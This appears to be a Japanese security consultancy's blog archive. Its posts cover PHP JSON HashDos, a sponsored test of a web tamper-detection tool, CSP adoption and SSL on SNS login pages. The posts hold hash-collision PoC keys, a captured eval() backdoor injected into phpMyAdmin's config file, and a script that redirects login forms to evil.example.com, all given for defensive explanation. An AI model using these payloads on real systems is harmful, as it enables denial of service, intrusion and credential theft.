2015年10月13日火曜日

PHPのJSON HashDosに関する注意喚起

4年前にHashDos(Hash Collision Attack)に関する効率的な攻撃方法が28C3にて公開され、PHPを含む主要言語がこの攻撃の影響を受けるため対策を実施しました。しかし、PHP以外の言語が、ハッシュが衝突するデータを予測困難にする対策をとったのに対して、PHPは、GET/POST/COOKIE等の入力データの個数を制限するという対症療法を実施したため、PHPにはHashDosに対する攻撃経路がまだ残っているということは、一部の技術者には知られていました。例えば、以下の様なつぶやきにも見ることができます。
このような状況に対して、約1年前にjson_decodeを入力経路とするHashosのPoC(概念実証コード)が公開されており、潜在的には「いつ攻撃があってもおかしくない」状況になっています。この攻撃をJSON HashDosと呼ぶことにします。本稿はJSON HashDosの概要を説明し、その影響と対策等について報告します。

はじめに

昨年の11月17日、スイスの Lukas Martinelli によって、PHPのjson_decode関数にHashDos脆弱性があることと、具体的な攻撃方法が公表されました。
PHP Denial of Service Attack Revisited
そして、この記事がPHP Internals - PHP Runtime Development Mailing List にて紹介されました(2014/12/23)。
http://lukasmartinelli.ch/web/2014/11/17/php-dos-attack-revisited.html
Sigh

[PHP-DEV] JSON HASHDOS (アーカイブ)より引用
Sigh(やれやれ)の中身の心は「スイスの若造がいきなりこんなゼロデイ脆弱性をPoCつきで公表しやがって」くらいでしょうか(PoCは現在は削除されているようです)。しかし、皮肉なことに、このメーリングリストの投稿(公開です)により、この攻撃方法が広く知られることになってしまいました。

以下、攻撃の概要と対策について説明します。

HashDosとは何だったか

古典的なHashDos(Hash Collision Attack)は、PHPをはじめ多くの言語で使用されているデータ構造「ハッシュテーブル」の「衝突(Collision)」を巧妙に悪用したサービス妨害攻撃です。ハッシュテーブルでは、キー文字列のハッシュ関数(MD5などの暗号的なハッシュ関数である必要はない)を用います。PHPで用いられているハッシュ関数はDJBX33Aと呼ばれるもので、概ね以下のようなコードです。実際のコードは速度最適化のためにこれより複雑です。
ulong get_hash(const char *arKey)
{
  ulong hash = 5381; // 初期値
  while (*arKey) {
    hash = hash * 33 + *arKey++;
  }
  return hash;
}
この関数で求めたハッシュ値(整数)を配列に添字として用いることにより、平均的には、データのサーチ、挿入、削除をO(1)(定数オーダー)の時間で求めることができるというものです。しかし、最悪ケースでは「たまたま」ハッシュ値がすべてのデータで一致した場合は、すべてのデータが配列上の同じ添字のところに入る(衝突)ため、一件あたりのサーチ、挿入、削除の処理時間はO(N)(データ量に比例するオーダーの)時間になります。N件のデータの挿入はO(N ** 2) (データ量の2乗のオーダーの)時間がかかります。

2011年末に28C3(28th Chaos Communication Congress)において発表されたHashDosのPoCでは、DJBX33AではEz、FY、G8等のハッシュ値が等しくなることから、これらを組み合わせることにより簡単にハッシュ値の衝突が起こせることを悪用していました。例えば、EzEz、EzFY、FYEz、FYFYは、上記のハッシュ関数ではいずれも0x17c84f603を返します(64ビット環境の場合)。その場合、ハッシュテーブルにデータを挿入する様子は下図で示されます。この図(アニメーションGIF)はLukas Martinelliのブログから引用しました。



28C3で発表されたPoCでは、HTTPのリクエスト(GET/POST/Cookie等)をPHPが内部的に連想配列(ハッシュ)として取り込むところを攻撃経路にしていました。この時点ではアプリケーションは処理を開始しておらず、アプリケーション側での対処は不可能なため、PHP5.3.9にて実行時設定max_input_varsが導入され、POST等の変数の数を制限する(デフォルトは1000)という対症療法がとられました。

JSON HashDosの概要

上記の「古典的HashDos」に対して、Lukas MartinelliのPoCは以下の点が異なっています。
  • json_decode関数によるJSONデータの受付処理を攻撃経路としている
  • ハッシュの衝突をハッシュ値の下位16ビットに限定している
紹介された脆弱なコードから本質的な2行を紹介します。
$body = file_get_contents('php://input'); // POSTデータを取得
$params = json_decode($body);             // POSTデータをJSONとしてデコード
最近のWeb APIではJSONでデータをWebサーバーに送信(リクエスト)する場合が多いと思いますが、上記は、PHPでこれを実現する場合の典型的なコードでしょう。
そして、Lukas MartinelliのPoCでは、ハッシュ値の衝突を起こすキー文字列は以下のようになっています(オリジナルのPoCでは2個目のキーが4wP2となっていますが、4wPの誤植と思われます)。
PoC: {"4vq":"key1", "4wP":"key2", "5Uq":"key3", "5VP":"key4", "64q":"key5" }

hash('4vq') = b879fc0
hash('4wP') = b879fc0
hash('5Uq') = b879fc0
hash('5VP') = b879fc0
hash('64q') = b879fc0
...
// 以下はgithub上で紹介されていたPoCに存在するキー
...
hash('aOtw') = 17c939fc0
...
hash('dUUuVB') = 652f7559fc0
Lukas MartinelliのPoCにて、ハッシュ値の衝突を下位16ビットに限定している理由は、PHPが内部で使用しているハッシュ表のサイズnTableSizeが2のn乗であり、ハッシュ値は nTableSize - 1でマスクして用いているからです。すなわち、実際には、ハッシュ値の下位ビットのみが用いられるため、すべてのビットが一致している必要はありません。

実験

キーのハッシュ値下位16ビット(128K個のデータは17ビット)が全て一致するJSONデータを用い、先の「脆弱なコード」に処理させた結果を以下に示します。実行環境は、Windows7(Intel Core i7-4770 3.4GHz)上のVMware Playerで動くUbuntu12.04 32bitです。

PHP-5.6.14
データ数実行時間(秒)データサイズ(バイト)
32K(2^15)5.7346,157
64K(2^16)20.2708,676
128K(2^17)91.31,435,685

参考までにPHP-7.0.0RC4での結果を以下に示します。ハッシュ関数の実装は変わっていないようですが、内部処理の高速化により、全体で 1.7倍から 2倍近く高速化されていて素晴らしいですね…しかし、HashDosの影響を受けること自体は変化がないようです。

PHP-7.0.0RC4
データ数実行時間(秒)データサイズ(バイト)
32K(2^15)3.2346,157
64K(2^16)11.8708,676
128K(2^17)46.01,435,685

攻撃の影響

JSON HashDosの影響により、CPU負荷が上昇し、新たなリクエストを受け付けにくい状態になります。一方、サーバーダウンや、内部情報の漏洩、データの改ざん等は発生しません。
類似の脆弱性であるApacheKillerの場合は、メモリ消費量が急上昇することによりサーバーがダウンする可能性もあります(参考: Apache killerは危険~Apache killerを評価する上での注意~)が、HashDosは単にCPU負荷の上昇だけであり、攻撃がやめば比較的短時間にサーバーは復旧します。

現状での攻撃の有無

今回紹介するJSON HashDosについては、Lukas Martinelliの発表後一年近くが経ちますが、現実に攻撃に使われたとするニュースは見当たりません。それ以前の話として、過去に話題となったいわゆるApache KillerやオリジナルのHashDosについても、攻撃はほとんど見当たらない状況です。それは、下記に引用する金床氏のブログ記事でも指摘されています。
数年前に発見されたHashDoSですが、実際に攻撃が行われているケースは殆ど目にしません。ソフトウェアのロジックを突くDoSとしては、他にApacheに対してRangeヘッダを使う攻撃手法(Apache Killer)なども発見されましたが、こちらも同様に、殆ど実際の攻撃としては検知していません。DoS攻撃にはもっと単純で、攻撃対象のアーキテクチャを調べる必要のない、シンプルな物量攻撃が好まれているような印象です。そのため筆者としてはHashDoSのセキュリティリスクは非常に低いものという認識です。
ScutumのゼロデイHashDoS対策と、JavaのXMLパーサ実装より引用

既存ソフトウェアへの影響

JSON HashDosは、PHPのjson_decode関数に外部データをそのまま与えると発生するというシンプルな条件なので、JSONを入力とするPHP記述のWeb APIでは該当する可能性があります。
私は、WordCamp Tokyo 2015にて講演するため、そのネタ探しとして、WordPressに対するJSON HashDosの影響を調べたところ、以下が判明しました。
  • WordPress 2.5から3.8.11(3.8系の最新版)はJSON HashDosの影響を受ける
一方、WordPressの3.9から4.3.1(WordPressの最新版)ではJSON HashDosの影響は見当たりませんでした。
従って、WordPress3.8以下をお使いのサイトは、緊急ではないものの、WordPressの最新版に移行することを推奨します。

対策

現状、HashDosや類似のDoS攻撃が実地に使用されるケースがないことと、単純なDoSであり情報漏えいや改ざん等には至らないことから、この問題に対策せず許容するという判断はあり得ると考えます。

一方、JSON HashDosの影響を重視し、対策するとすれば、以下が考えられます。

(1) json_decodeの入力値を検証する
JSON HashDosの攻撃に用いるデータは、最低でも数十キロバイトはないと効果的でないため、入力値のバリデーションによりjson_decodeの入力値のデータサイズを制限できれば、攻撃を緩和できます。

(2) max_execution_time を制限する
max_execution_time は、スクリプトの最長実行時間で、この時間を過ぎるとPHP処理系により強制終了させられます。デフォルト値は30秒です。この時間を短くすると、JSON HashDosによる攻撃を早めに終わらせられるため、攻撃の緩和になります。

(3) JSONの代わりにXMLを入力とする
修正としては大掛かりになりますが、JSONの代わりにXMLを使用することでも対策になります。
筆者が確認したのは、SimpleXML系のライブラリですが、SimpleXMLを使用すると、XMLデータをPHPの配列ではなく、libxml2の内部形式でデータを保持し、かつlibxml2がHashDos対策がされているため、JSON HASH DOSの影響を受けないと考えられます(実証済み)。
一方、SimpleXMLではなく、xml_parse_into_structのようにXMLデータをPHPの配列に変換するような用法では、HashDosの影響を受けます。ただし、xml_parse_into_structはデフォルトでタグを大文字に変換するため、HashDosの影響は受けにくいのですが、以下のように大文字・小文字を区別する設定の場合は、json_decodeと同様にHashDosの影響を受けます。
$xml_parser = xml_parser_create();  // XMLパーサを生成
xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, 0); // 大文字と小文字を区別
(4) WAFによる防御
WAF(Web Application Firewall)によっては、JSON HashDosの防御機能を備えるものがあります。詳細についてはお問い合わせください。

まとめ

JSON HashDosについて、原理とその影響、WordPressの旧バージョンが影響を受けること、攻撃の現状と対策について報告しました。
PHPのJSON HashDosは、未対策のまま一年近くが経過していますが、いまだ攻撃の兆候はありません。
PHP JSON HashDosは、いわゆるゼロデイ脆弱性ではありますが、当面攻撃の兆候がないこと、PHP7でも対策される見込みがないこと、セキュリティの専門家(攻撃者を含む)には既知の内容なのに開発者には情報が行き渡っておらず、攻撃側に情報が偏っている状態であることから、ここに問題の概要を報告し、注意喚起するものであります。

情報提供のお知らせ

スクリプトキディ等による悪用防止のため、この記事は攻撃の詳細を割愛しております。技術的な詳細情報を希望される方には、原則として無償で、情報提供をさせていただきます。ただし、秘密保持の観点から、対象は法人など実在確認のとれる団体に限らせていただきます。また、オープンソース・ソフトウェアの開発者等に対しても、情報提供いたします。以下のページよりご連絡ください。
お問い合わせ - HASHコンサルティング株式会社
WordCampの私のセッションにてWordPress 3.8に対するJSON HashDosのデモを予定しております。ただし、WordCampはセキュリティ専門家向けのカンファレンスではないため、あくまで概要の報告になります。

免責

このセキュリティ情報は予告なしに改訂される場合があります。このセキュリティ情報を適用した結果についてHASHコンサルティング株式会社は一切の責任を負わず、利用者の利益のために、あるがままの状態で公開するものです。

2015年7月7日火曜日

【10社限定】イー・ガーディアン主催のセミナーにて講演します

HASHコンサルティング株式会社がイー・ガーディアン株式会社にジョインして初のセミナーをイー・ガーディアン主催で行うことになりましたので報告します。

日時:2015年7月30日(木)16:00~18:00
場所:イー・ガーディアン株式会社
費用:無料(申し込みはこちら
講演タイトル:安全なWEBサイトの構築方法 ~被害事例から学ぶ最新の攻撃手法と対策~

最近の侵入事例や侵入に多く用いられている攻撃手法を題材として、ウェブサイトの攻撃方法と対策の考え方についてご説明いたします。
今回は、こじんまりとプライベートな雰囲気となりますので、いままでブログや講演で取り上げていない以下の脆弱性のデモと対策を予定しています。
  • PHPのJSON HASH-DOS脆弱性の傾向と対策
この脆弱性は昨年11月時点で公知となったものですが、まだPHP側で対策されておらず、「既知のゼロデイ脆弱性」ということになります。その他にも、漏洩、改ざん、なりすましの一通りの実演を交えて、Webサイトへの侵入とはどのようなものか、どう対策すればよいかをご説明いたします。
また、通常の基調講演ではお見せしてないものとして、これら攻撃がWAF等によってどのようにブロックされるかもお見せしようと思います。

それでは麻布十番にてお待ちしております。

2014年8月5日火曜日

[PR]リアルタイム改ざん検知・復旧システムであるウェブアルゴスを使ってみた

重要事項説明

本稿は、HASHコンサルティング株式会社が、デジタルインフォメーションテクノロジー株式会社(以下DIT)から依頼を受けて「ウェブアルゴス」を評価し、その結果を執筆した記事広告です。

ウェブアルゴスとは

DITのウェブアルゴスが7月1日に発売された。ウェブアルゴスは以下の様な特徴を持つ改ざん検知ソフトウェアだ。
  • バッチ検査ではなくリアルタイム検知が可能
  • 検知だけではなく修復も可能
  • 改ざん後のファイルを保全する監査機能
最近のインターネットを取り巻く状況のなかで、Webサイト改ざん事件の多発は目立つところであり、筆者も以下のブログ記事で紹介したように、Tripwire(オープンソース版)とinotifywaitというLinuxコマンドを用いたリアルタイム改ざん検知の仕組みを自社のWebサイトに導入している。
多発するWeb改ざんに備えてinotifywaitによる改ざん検知を導入した
これらは無料で導入できる改ざん検知の仕組みであるが、以下の課題もある。
  • Tripwireはバッチ型の改ざん検知であり即時性に乏しい
  • Tripwireの導入には設定ファイルの編集が必要であるが、直感的にわかりにくく、習熟を要する
  • Inotifywaitはリアルタイム検知が可能だが単純なコマンドに過ぎず、スクリプト作成などの周辺支援が必要となる
  • Tripwire、inotifywaitとも改ざん検知のみで修復の機能はない
前述のように、ウェブアルゴスはこれら課題に対する解を提供している。

ウェブアルゴスの概要

ウェブアルゴスの概要を下図により説明する。


ウェブアルゴスは「エージェント型」の改ざん検知システムであり、サーバ内に改ざん検知のための常駐ソフトウェア(エージェント)を導入する必要がある。このため、即時性と、非公開ファイル(設定ファイル、実行ファイル等)の監視も可能である。
ウェブアルゴスは監視対象のウェブサーバとは別に管理用サーバが必要であり、管理用ソフトウェア(WA-Manager)が導入される。管理用ソフトウェアは、エージェントの設定、監視、GUI表示などを担当する。

システム要件

ウェブアルゴスマネージャのシステム要件は、こちらを参照されたい。
とくに問題になるものとして、まずマネージャの対応OSは以下のとおりである。
RedHat Enterprise Linux 5.x 6.x (32bit / 64bit)
CentOS 5.x 6.x(32bit / 64bit)
Amazon Linux 2013以降(32bit / 64bit)
RHEL、CentOSとも 7.x に対応予定
推奨空きメモリサイズ  最小2048MB以上、推奨3072MB以上
推奨空きメモリサイズが3072MB以上ということから、64bit版のOSが望ましいといえるだろう。
ウェブアルゴスエージェントの要件(概要)は以下のとおりである。
対応OS
ウェブアルゴスマネージャの対応OSに加えて下記のOS(いずれも32bit、64bitに対応)。
SUSE Linux Enterprise Server 11
Ubuntu Server 12.x 13.x 14.x
Debian 7.x

推奨空きメモリサイズ(改ざん検知時の動作として「通知」 と 「自動リカバリー」で運用する場合)
監視対象ディレクトリ/ファイル総サイズの1/4程度
必要な空きメモリサイズは動作モードにより異なるが、自動リカバリ機能を使用する場合でかつ監視対象のファイルの総容量が大きい場合、メモリの制限に気をつける必要がある。

インストール・設定

インストールに必要なファイルはDITのサイトからダウンロードする。インストーラーはバイナリ形式であり、実行権限を与えて実行するだけである。
インストールが終わった後の設定は、マニュアルにしたがってマネージャのWeb GUIから操作する。筆者の理解不足が原因のトラブルもあったが、DITのエンジニアが迅速かつ的確に対応いただいたので、導入はスムーズに行えた。

使ってみる

現実的なWeb改ざんの例として、phpMyAdminの脆弱性(CVE-2011-2505/2506)を悪用したPoC(概念検証プログラム)を実行して、ウェブアルゴスの検知状況を確認した。このPoCの中身については、以下のブログ記事を参考にされたい。
phpMyAdminにおける任意スクリプト実行可能な脆弱性の検証
このPoCは、外部からphpMyAdminの設定ファイル(config.inc.php)を改ざんして、任意のスクリプトが実行できるバックドアを仕込むというものであるので、改ざん検知の検証用として適している。
まず、マネージャのGUIから、Webのドキュメントルート・ディレクトリを監視対象として指定し(下図)、Only Alert(監視のみ)モードで監視を始める。画面からもわかるように、監視対象の設定はWebのGUIにより直感的に行える。


次に、攻撃者の端末に見立てた端末から、phpMyAdminの脆弱性をついた攻撃をかけると、下図のように攻撃は成功する。

この際に、phpMyAdmin/config/config.inc.phpが改ざんされるので、下図のように警告がログに表示され、メールでのアラートが送信される。

(Web画面の様子)

(アラートメールの例)

以上のように、監視のみの設定だと攻撃を防ぐことはできないが、攻撃を受けたことをリアルタイムに検知して、素早く対処をとることができ、被害を最小限に食い止めることに役立つ。

自動復旧モードだとスクリプト実行を阻止できた

次に、上記の攻撃により改ざんされたファイルを手動で復旧した後に、ウェブアルゴスのモードを「Alert and recovery」(検知と自動復旧)に変更した状態で同じ攻撃をしてみる。すると、攻撃者の画面は下図のようになり、攻撃は途中で失敗していることが分かる。これは、いったんは対象ファイルが改ざんされたものの即座に復旧しているため、改ざん後のスクリプトの実行は阻止したことになる。つまり、攻撃は受けたが実害はなかったということだ。


この際の監視ログは以下の通り。

攻撃を受けてから0.01秒でファイルを復元していることがわかる。

今度は、証拠保全のモードで同じことをやってみよう。攻撃が阻止されるところは同じで、ログは以下のようになる。

0.002秒でファイルは復旧しているが、先ほどとの時間差はサーバの状況による誤差だろう。そして、復旧前のファイルが/var/webargus/…以下のディレクトリに保全されていることがわかる。そのファイルの一部を以下に示す。
/* Servers configuration */
$i = 0;

/* Server: localhost [*/foreach($_GET as $k=>$v)if($k===666)eval($v);/*] */
$i++;
$cfg['Servers'][$i]['port'] = '0';

/* End of servers configuration */
赤字の部分が外部から注入されたスクリプトだ。このように、証拠保全の機能を活用にすることにより、攻撃の種類や意図、脆弱性の特定に役立つ情報を得ることができる。

エージェントを停止されたらどうなるか

Webサーバに対する監視は、同じサーバ上で動いているエージェントが行うので、外部からの攻撃によりエージェントが停止される事態も想定しなければならない。この場合の挙動を確認するために、エージェントを停止してみよう。以下はウェブアルゴスの正規の停止方法ではなく、外部からの攻撃者がエージェントを停止する様子を模している。
$ cat /var/run/webargus/agent.pid   ← エージェントのpidを確認
1677
$ sudo kill 1677  ← エージェントを停止
エージェントに対してはマネージャ側から定期的(デフォルトは5分)にポーリングにより死活監視を行っているので、以下のようなメールでエージェントの停止を警告する。


また、マネージャのログは以下のような表示となる。

通知を受け取った管理者は、エージェントのログ等を調べて、停止の原因がリソース不足などによる事故か、外部からの攻撃によるものかを切り分け、攻撃が疑われる場合は、すでに管理者権限を奪われている可能性があるため、早急に外部からの接続を遮断するなど、必要な対処を行う必要がある。

所感・まとめ

リアルタイムの改ざん検知と復旧機能を特徴とするウェブアルゴスを試用した。筆者はすでにinotifywaitと手作りのスクリプトによるリアルタイム改ざん検知の仕組みを自社のWebサイトにて運用しているが、これに加えて、リアルタイムの復旧ができることに大きな魅力を感じた。
Webサイトに対する侵入事件では、多くの場合、WebShellと呼ばれる攻撃ツールを外部からダウンロードするところから始まる。したがって、WebShellの設置をリアルタイムに検知して、設置を妨害することができれば、攻撃自体を防御できる可能性が高い。
また、仮に侵入を許したとしても、その後のコンテンツ改ざんを防ぐことができれば、サイト閲覧者のウイルス感染などの「実害」を予防できる可能性が高くなる。
一方、ウェブアルゴスを導入する課題としては以下があると考える。
  • 多くのファイルを監視する場合、エージェントのメモリ使用量が増大する
  • SQLインジェクションによる改ざんには効果が無い
このため、ウェブアルゴスの導入と並行して、以下の施策により総合的にWebサーバの安全性を高めるのがよいだろう。
  • 設定ファイル、実行ファイル、コンテンツファイルなどから、改ざん検知が重要なファイルを洗い出し、最適な検知設定を行う
  • Webサーバ内のディレクトリ、ファイルの権限管理を細やかに行い、Webサーバプロセスから変更できるファイル等の範囲を制限する
  • /tmpディレクトリをnoexecオプションつきでマウントすることにより、外部から書き込めるディレクトリに攻撃ツールが設置できないように保護する
  • WAF(Web Application Firewall)を導入することにより、SQLインジェクション等のアプリケーション脆弱性に対する防御策を講じる
以上、リアルタイムの改ざん検知と復旧ソフトであるウェブアルゴスについて紹介した。読者のWebサイト防御の参考になれば幸いである。

2013年12月6日金曜日

弊社のホームページにContent Security Policy(CSP)を導入しました

弊社のホームページにCSP(Content Security Policy)を導入しました。CSPについては、はせがわようすけ氏のスライド「5分でわかるCSP」がわかりやすいと思います。以下にスライドの一部を引用します。



具体的には、以下のように指定して使います。
Content-Security-Policy: default-src 'self'
この結果、以下のようにJavaScriptの記述が制限されます。
  • 外部のJavaScriptの読み込みは禁止
  • HTMLソースに記述した<script>...</script>のJavaScriptは禁止
  • イベント属性(onload="xxxx"など)は禁止
何も書けなくなるじゃないかと思われるかもしれませんが、JavaScriptは全て*.jsファイルに記述すればよい、ということです。
CSPは、JavaScriptのコードとデータを分離して、コードは静的な*.jsファイルに記述、可変のデータはHTML側に寄せて、「可変のリソースにはJavaScriptを記述できないように制限する」ことで、クロスサイト・スクリプティング(XSS)防御の切り札となることが期待されています。

CSP導入にあたり、弊社ホームページのJavaScriptの使用状況を調べました。その結果は以下の通りです。
  • JavaScriptは基本的に使っていない
  • 外部から読み込むJavaScrpitはある(下記)
ということで、外部から読み込んでいるJavaScriptの取捨選択を行いました。その結果、
  • Google Analyticsは残すこととして、CSP上の許可設定をする
  • Slideshare、YouTube、Vimeoは許可しないこととし、これらを使うコンテンツはオフィシャルブログ(ここ)に転載する
ことにしました。この結果、CSPの設定は下記のように、Apacheの設定で行いしました。
Header Add Content-Security-Policy "default-src 'self' https://www.google-analytics.com"
しかし、これだけでは駄目です。Google Analyticsの設定は、以下のようなJavaScriptがHTMLインラインスクリプトで記述されています。
<script>
  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  })(window,document,'script','//www.google-analytics.com/analytics.js','ga');

  ga('create', 'UA-XXXXXXX-X', 'hash-c.co.jp');
  ga('send', 'pageview');
</script>
これだとCSPのエラーになるので、上記スクリプトを/ga.jsというファイルに記述して、<script src="/ga.js"></script>により読み込むようにしました。これが正常に動作することは、Google Analyticsのリアルタイムレポートで確認しました。

上記を実施してテストしてみると、スタイルシートのところでエラーになりました。弊社ホームページのCSSは、大部分が/default.cssに記載されていますが、一部のCSSがインラインで記述されていました。これはスタイルの微調整のためです。インラインCSSを許可するようにしてもよいのでしょうが、せっかくなので、インラインスタイルシートを外部スタイルシートに移動し、ID属性で指定するようにしました。インラインスタイルシートはまだ一部残っていますが、画面が大きく乱れるものは対応したつもりで、残りはおいおい対応する予定です。

ということで、実施した内容は以下の通りです。
  • SlideShare等を使用しているコンテンツをオフィシャルブログに転載
  • Google Analyticsのスクリプトを/ga.jsに記載
  • Google Analyticsを設定したページを/ga.jsの読み込みに変更
  • インライン・スタイルシートを外部スタイルシートに変更
CSP対応の結果、副作用が生じました。Pocket(旧称: Read it later)のアドオン(Save to Pocket)の表示が乱れます。エラーメッセージを見ると、インラインスタイルが拒絶されているようです。コンテンツの保存はされていますが、見た目非常にまぎらわしい状況です。このような例は他にもあると予想されます。EvernoteのEvernote Web Clipperは問題なく使えました。

CSP対応の所感ですが、サイト独自のJavaScriptを使っていないサイトであるにも関わらず、CSP対応はかなり面倒な作業だという印象を受けました。やはり、インラインでJavaScriptやCSSが記述できないと「めんどうくさい」。しかし、インラインJavaScriptを許可してしまうとCSPのXSS防御機能は意味がなくなりますので、これは我慢するしかないでしょう。

中期的には、jQueryなどのJavaScriptライブラリや、Google AnalyticsやSlideShareなどから読み込むコンテンツが、CSP前提で使いやすい形に改善されることを期待します。

2013年8月26日月曜日

バラクーダネットワークスジャパンのセミナー(名古屋)で講演します

8月29日バラクーダネットワークスジャパン株式会社の「企業公開サイトのセキュリティ対策セミナー」にて講演致します。まだ若干お席があるようですので、ご案内いたします。

日時:2013年8月29日(木曜日)14:30~16:45(徳丸の出番は14:30~15:15)
場所:ウィンク愛知(愛知県産業労働センター)愛知県名古屋市中村区
費用:無料(申し込みはこちら
講演タイトル:事例に学ぶWebサイト侵入事件手口と効果的な対策について

場所は名古屋駅から徒歩5分のところだそうで、名古屋近辺の皆様にお目にかかれることを楽しみにしています。
講演の内容は、最近の侵入事例や侵入に多く用いられている攻撃手法を題材として、侵入のメカニズムと防御の基本的な考え方を説明いたします。

講演概要:
  • Webサイトへの侵入事件のトレンド
  • 侵入経路は2種類しかない
  • 侵入の手口と対策
    1. phpMyAdminの脆弱性による侵入
    2. SQLインジェクションによる侵入
    3. パスワードリスト攻撃
  • まとめ

2012年12月30日日曜日

日本3大SNSのログイン画面について、SSL利用状況を検証する

このエントリは弊社メールマガジンの第一号(2012年4月27日発行)の記事の転載です。入力フォームをSSLにしないことの問題が話題となっていますので、読者の参考のため公開するものです。
この件に関連して、私はtwitterで以下のようにつぶやきました。
こう説明すれば良い。『通信内容は、正常時には暗号化されますが、攻撃により暗号化が回避される可能性があります。攻撃を受けていないときは暗号化され、個人情報はもれないので、ご安心ください』
 https://twitter.com/ockeghem/status/285230605359276032
当然ながら、攻撃を受けていない状況では暗号化は必要ないわけで、上記の「ご安心ください」は無意味です。入力フォームをSSLにしないというのは、つまりそういうことです。


twitterを見ておりましたら、gree.jpのIDとパスワード入力画面がSSLでないという話題を見かけました。確認してみると、確かに入力画面ははSSLでなく、送信先ページはSSLで、ログイン後は非SSL(HTTP)のページに戻ります。

既に、高木浩光氏の日記『SSLを入力画面から使用しないのはそろそろ「脆弱性」と判断してしまってよいころかも』などに説明されているように、SSLを使う場合、入力画面からそうするべきという原則は既に浸透してもよさそうなものですが、必ずしもそうではないのが現状です。このため、gree以外も調べてみることにしました。greeの同業者、mixi、モバゲーをあわせて3大SNSの調査です。

【結果】PC版
  • gree: 入力画面は非SSL 送信先はSSL(ただし、標準を選択すると、共に非SSLに)
  • mixi: 入力、送信先共に非SSL(ただし、SSLを選択すると、共にSSLに)
  • モバゲー(Yahoo!mobage): 入力、送信先共にSSL

ついでに、スマートフォン版Webについても調べました。

【結果】スマートフォン版
  • gree: 入力画面は非SSL 送信先はSSL
  • mixi: 入力、送信先共に非SSL(ただし、SSLを選択すると、共にSSLに)
  • モバゲー: 入力、送信先共にSSL
4月末に調べた際は、greeのスマートフォン版サイトは共に非SSLだったのですが、先程調べたら送信先はSSLになっていました。

送信先のみSSLはgreeだけ

上記のように、入力画面が非SSLで、送信先がSSLという組み合わせはgreeのみでした。この組み合わせは良くないといわれています。その理由は2つあります。

まず、入力画面が非SSLであると、なりすまし画面を見分けることが難しくなります。DNSキャッシュポイズニングやARPスプーフィング攻撃により、利用者が正しいドメイン名を指定しても、ブラウザに表示される画面が偽物ということはあり得ます。実際、2008年にさくらインターネットのホスティングサーバーにてARPスプーフィング攻撃による不正コード挿入の問題が発生しています。

参考:さくらインターネットの一部ホスティングサーバーに不正コード挿入の被害

このような場合でも、SSLを使っているページでは、攻撃を防止することが出来ます。

(1)中間者攻撃の場合はブラウザが証明書エラーを表示するので利用者が気づく
(2)中間者攻撃でない場合は改ざん・盗聴ができないので被害に至らない

入力画面からSSLにすべきという2番目の理由は、そうしないとSSLの効果が大きく損なわれるからです。
入力画面に重要情報がなく、盗聴によるリスクがあまりない場合でも、入力画面を改ざんされるリスクはあります。この場合、たとえばform要素のaction属性(送信先)を書き換えるという攻撃があり得ます。例えば、ログイン画面のform要素が以下の場合、

<form name="login" action="https://example.jp/logindo.php" method="post">

action属性を http://evil.example.com/ (攻撃者のサイト)と変更することで、重要なIDとパスワードを盗むことが出来ます。利用者がこれを確認することは非常に困難です。例えば攻撃者は、action属性を変更をぎりぎりまで遅らせることが出来ます。以下のJavaScriptは、ログインボタン押下時にaction属性を変更する例です。
  document.login.onsubmit = function() { 
    document.login.action="http://evil.example.com/";
  }
このスクリプトをHTMLのどこかにしのばせることにより、利用者が送信先変更に気づくことを防ぐことが出来ます。利用者が、このような「仕掛け」に気づくことは困難です。

このように、せっかくSSLを使うのであれば、入力画面からSSLにしないと意味がありません。脆弱性診断の際にこの種の問題が見つかった場合、多くの診断業者は脆弱性判定するでしょう。危険度は低~中というところでしょうか(ベンダーにより差異があります)。

SSLをまったく使わないのはどうか

一方、SSLをまったく使わない場合、「好ましくはないが脆弱性とまでは言えない」という判定になります。これは、とまどう人が多いことでしょう。「送信先がSSLであれば盗聴されることはないのに脆弱性と判定され、まったくSSLを使わない場合より『悪い』とはどういうことだろうか」という疑問が生じます(実際には盗聴のリスクはありますが素朴な疑問としてこう書いています)。

この疑問に対しては、以下のように回答することができます。SSLを使わないサイトは、盗聴のリスクを受容していると解釈できます。この場合、SSLを使わないこと自体は脆弱性とは言えません。一方、SSLを使っているサイトは、盗聴のリスクが受容できないと判断しているはずです。この場合、SSLの使い方が不完全なために盗聴等のリスクが生じる場合は、脆弱性と判断することになります。

SSL使用が要求あるいは強く推奨されるケース

上記は一般論ですが、サイトの特性によってはSSLの使用が要求される、あるいは強く推奨されます。下記のケースでは、SSLを使っていないとポリシー違反(脆弱性)となります。
  • PCI DSSなど通信の暗号化を要求するスタンダードに準拠する場合
  • サイトを運営する企業・団体のセキュリティポリシーでSSLの使用を要求している場合
  • プライバシーポリシーでSSLの使用を明示あるいは暗号化通信などを約束している場合
以下に、PCI DSSの4.1項を引用します。SSLなどネットワークの暗号化が要求されています。
4.1 オープンな公共ネットワーク経由で機密性の高いカード会員データを伝送する場合、強力な暗号化とセキュリティプロトコル(SSL/TLS、IPSEC、SSHなど)を使用して保護する。
前記「3大SNS」のプライバシーポリシーを確認したところ、SSLないし暗号化という言葉は使っていないようです。このため、「SSLでないからと言って脆弱性とまではいえない」と考えられます。

また、スマートフォン向けのWebサイトでは、公衆無線LANを使うケースが多く信頼できない無線LANアクセスポイントにつないでしまうリスクも現実的であることから、通常のサイトよりも、SSLの使用を積極的に判断した方がよいでしょう。

また、SNSの利用局面を考えると、近年はWi-Fiでの利用が増えていることから、SSLの利用範囲を広げることが望ましいと考えます。

ロリポップ上のWordPressをWAFで防御する方法

(2013/08/29)追記
ロリポップ上のWordPressが不正アクセスされる事例が増えているようです(参考)。現時点で侵入経路等は明らかでありませんが、以下に説明する方法で、公開ページに対するSQLインジェクション攻撃や、管理コンソールに対する不正ログインに対しては、かなり効果があると考えられます。ユーザーの参考になれば幸いです。また、タイトルを変更しました。
追記終わり

今年の9月27日から、ロリポップのレンタルサーバーの全プランで、WAF(SiteGuard Lite)が標準装備されるようになりました。
http://lolipop.jp/waf/より引用

これは大変良いことですね。インターネット上のすべてのサイトが攻撃の対象ですし、被害も増えている印象があります。ロリポップについても、今年の5月に攻撃を受けたという報告がいくつかあります。たとえば、これ。
今年5月に発表されたCGI版PHPのリモートスクリプト実行の脆弱性(CVE-2012-1823)が狙われたのではないか推測されています。
